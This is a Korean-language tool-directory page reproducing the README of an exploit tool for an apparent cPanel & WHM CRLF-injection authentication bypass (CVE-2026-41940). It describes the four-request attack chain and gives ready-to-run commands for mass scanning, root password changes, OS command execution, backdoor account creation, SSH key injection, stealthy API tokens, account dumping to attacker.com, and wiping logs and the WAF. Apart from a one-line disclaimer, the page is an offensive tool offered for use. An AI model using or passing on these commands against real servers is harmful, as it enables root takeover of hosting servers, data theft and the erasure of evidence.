Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/ishanoshada/cve-2026-41940-exploit-poc
Authentication & AuthorizationVulnerability ScannersExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRed TeamingPayload Development

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubishanoshada/cve-2026-41940-exploit-poc

CVE-2026-41940-Exploit-PoC

# CVE-2026-41940 익스플로잇 PoC cPanel & WHM의 CRLF 주입을 통한 인증 우회 취약점에 대한 익스플로잇 PoC입니다. 대량 스캐닝, 사후 익스플로잇 작업, 그리고 승인된 테스트를 위한 대화형 셸을 포함합니다.

저장소 보기웹사이트
21275개월 전아직 검토되지 않음

CVE-2026-41940 Exploit PoC – cPanel & WHM 인증 우회

CVE-2026-41940 CVSS Go Version License

제작자: Ishan Oshada | GitHub

⚠️ 승인된 보안 테스트 전용입니다. 무단 사용은 불법입니다.

1


📋 목차

  • 취약점 개요
  • 공격 체인
  • 기능
  • 설치
  • 빠른 시작
  • 사용 예시
  • 사후 공격 작업
  • 대화형 셸 명령어
  • urls.txt를 이용한 대량 스캔
  • 출력 예시
  • 옵션 참조
  • 영향받는 버전
  • 모든 플랫폼용 빌드
  • FAQ 및 문제 해결
  • 면책 조항
  • 제작자

2

취약점 개요

CVE-2026-41940은 cPanel & WHM(버전 < 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5)의 CRLF 인젝션 취약점입니다.

saveSession() 함수는 filter_sessiondata()를 적용한 후에 세션 데이터를 작성하지만, 필터가 너무 늦게 적용됩니다. Authorization: Basic 헤더 내에 CRLF(\r\n) 문자를 주입함으로써, 공격자는 임의의 키-값 쌍(예: hasroot=1, tfa_verified=1, user=root)으로 디스크의 세션 파일을 오염시킬 수 있습니다.

이후 오염된 세션이 로드되면, cPanel/WHM은 비밀번호 없이 전체 루트 액세스를 부여합니다.

CVSS 점수: 10.0 (치명적)

  • 공격 벡터: 네트워크
  • 공격 복잡성: 낮음
  • 필요한 권한: 없음
  • 사용자 상호작용: 없음
  • 기밀성: 높음
  • 무결성: 높음
  • 가용성: 높음

공격 체인 (4단계)

단계작업설명
1POST /login/?login_only=1잘못된 자격 증명으로 사전 인증 세션 쿠키 요청
2GET / + CRLF Authorization 헤더hasroot=1, user=root 등으로 세션 파일 오염
3GET /scripts2/listaccts세션 캐시가 오염된 파일을 다시 로드하도록 강제(전파)
4GET /cpsess<TOKEN>/json-api/version루트 액세스 확인 – 성공 = 200 + 버전 데이터

기능

  • ✅ 단일 및 대량 스캔 (파일 입력, stdin 파이프)
  • ✅ 스레드 스캔 (최대 100개 이상의 동시성 제어)
  • ✅ 상세 모드 (--verbose) – 전체 HTTP 요청/응답 표시
  • ✅ JSON 출력 (취약한 대상 발견 시 자동 저장)
  • ✅ 10가지 사후 공격 작업 (아래 표 참조)
  • ✅ 크로스 플랫폼 (Windows, Linux, macOS)
  • ✅ 외부 종속성 없음 (Go 표준 라이브러리만 사용)
  • ✅ 컬러 터미널 출력 및 명확한 박스형 결과
  • ✅ 세션 유지 – keep-alive 메커니즘
  • ✅ 대화형 WHM 셸 및 명령 기록 지원

설치

사전 요구 사항

  • Go 1.20 이상 (다운로드)

저장소 복제

git clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC

실행 파일 빌드

Windows

go build -o cpanel_sniper.exe main.go

Linux / macOS

go build -o cpanel_sniper main.go
chmod +x cpanel_sniper

직접 실행 (빌드 없이)

go run main.go -u https://target.com:2087

사전 빌드된 바이너리 (가장 빠른 방법)

소스에서 빌드하는 대신, 저장소에서 최신 안정 실행 파일을 직접 다운로드할 수 있습니다. 이 파일들은 모든 업데이트마다 자동으로 생성됩니다:

플랫폼위치
Windows (x64)/bin/windows_x64/cpanel_sniper.exe
Linux (x64)/bin/linux_x64/cpanel_sniper
Linux (ARM64)/bin/linux_arm64/cpanel_sniper
macOS (Intel)/bin/mac_intel/cpanel_sniper
macOS (M1/M2/M3)/bin/mac_m1_m2/cpanel_sniper

참고: Linux 또는 macOS를 사용하는 경우, 다운로드 후 실행 권한을 부여해야 합니다:


빠른 시작

# 기본 스캔
go run main.go -u https://target.com:2087

# 모든 cPanel 계정 나열
go run main.go -u https://target.com:2087 -action list

# 대화형 WHM 셸
go run main.go -u https://target.com:2087 -action shell

# urls.txt로 대량 스캔
go run main.go -l urls.txt -t 20 -o results.json

사용 예시 (표)

#용도명령어
1기본 단일 대상 스캔go run main.go -u https://target.com:2087
2모든 cPanel 계정 나열go run main.go -u https://target.com:2087 -action list
3루트 비밀번호 변경go run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006"
4시스템 명령 실행go run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami"
5서버 정보 확인go run main.go -u https://target.com:2087 -action info
6백도어 사용자 생성go run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006"
7API 토큰 생성 (은밀)go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken
8SSH 키 주입go run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..."
9계정 덤프 및 유출go run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload
10로그 삭제 및 흔적 제거go run main.go -u https://target.com:2087 -action wipe
11대화형 WHM 셸go run main.go -u https://target.com:2087 -action shell
12파일에서 대량 스캔go run main.go -l urls.txt -t 20 -o results.json
13결과를 JSON으로 저장go run main.go -u https://target.com:2087 -o scan_results.json
14상세 디버깅 활성화go run main.go -u https://target.com:2087 --verbose
15다른 도구에서 파이프cat urls.txt | go run main.go -t 20
16타임아웃 증가go run main.go -u https://target.com:2087 -timeout 30

사후 공격 작업

작업플래그설명은밀성 수준
list-action list모든 cPanel 계정 나열낮음
passwd-action passwd -passwd NEWPASS루트 비밀번호 변경 (시끄러움)높음 (감지 가능)
cmd-action cmd -cmd "id"OS 명령 실행중간
info-action info호스트명, 부하, 버전 표시낮음
adduser-action adduser -new-user U -new-domain D백도어 cPanel 사용자 생성중간
apitoken-action apitoken [-tokenname NAME]영구 API 토큰 생성매우 낮음
sshkey-action sshkey -sshkey "ssh-rsa..."루트에 SSH 공개 키 주입매우 낮음
dumpacct-action dumpacct -dumpuser USER -exfil URL계정 백업 및 유출중간
wipe-action wipeWAF 비활성화, 로그 삭제, 기록 삭제흔적 제거
shell-action shell대화형 WHM 셸낮음

대화형 셸 명령어

셸(-action shell)에 진입한 후 다음 명령어를 사용하세요:

명령어설명예시
accounts모든 cPanel 계정 나열accounts
passwd <pass>루트 비밀번호 변경passwd MyNewPass123!2006
exec <command>시스템 명령 실행exec "cat /etc/passwd"
info서버 정보 표시info
versioncPanel 버전 표시version
help사용 가능한 명령어 표시help
exit셸 종료exit

urls.txt로 대량 스캔

저장소에는 대량 스캔을 위한 1000개의 예제 대상이 포함된 urls.txt가 있습니다.

urls.txt 형식

https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...

대량 스캔 명령어

# 기본 대량 스캔 (10개 스레드)
go run main.go -l urls.txt

# 빠른 대량 스캔 (50개 스레드, 결과 저장)
go run main.go -l urls.txt -t 50 -o results.json

# 사후 공격 작업이 포함된 대량 스캔
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json

# 상세 출력이 포함된 대량 스캔
go run main.go -l urls.txt -t 10 --verbose

# 증가된 타임아웃으로 대량 스캔 (느린 네트워크)
go run main.go -l urls.txt -t 30 -timeout 30
도구 다운로드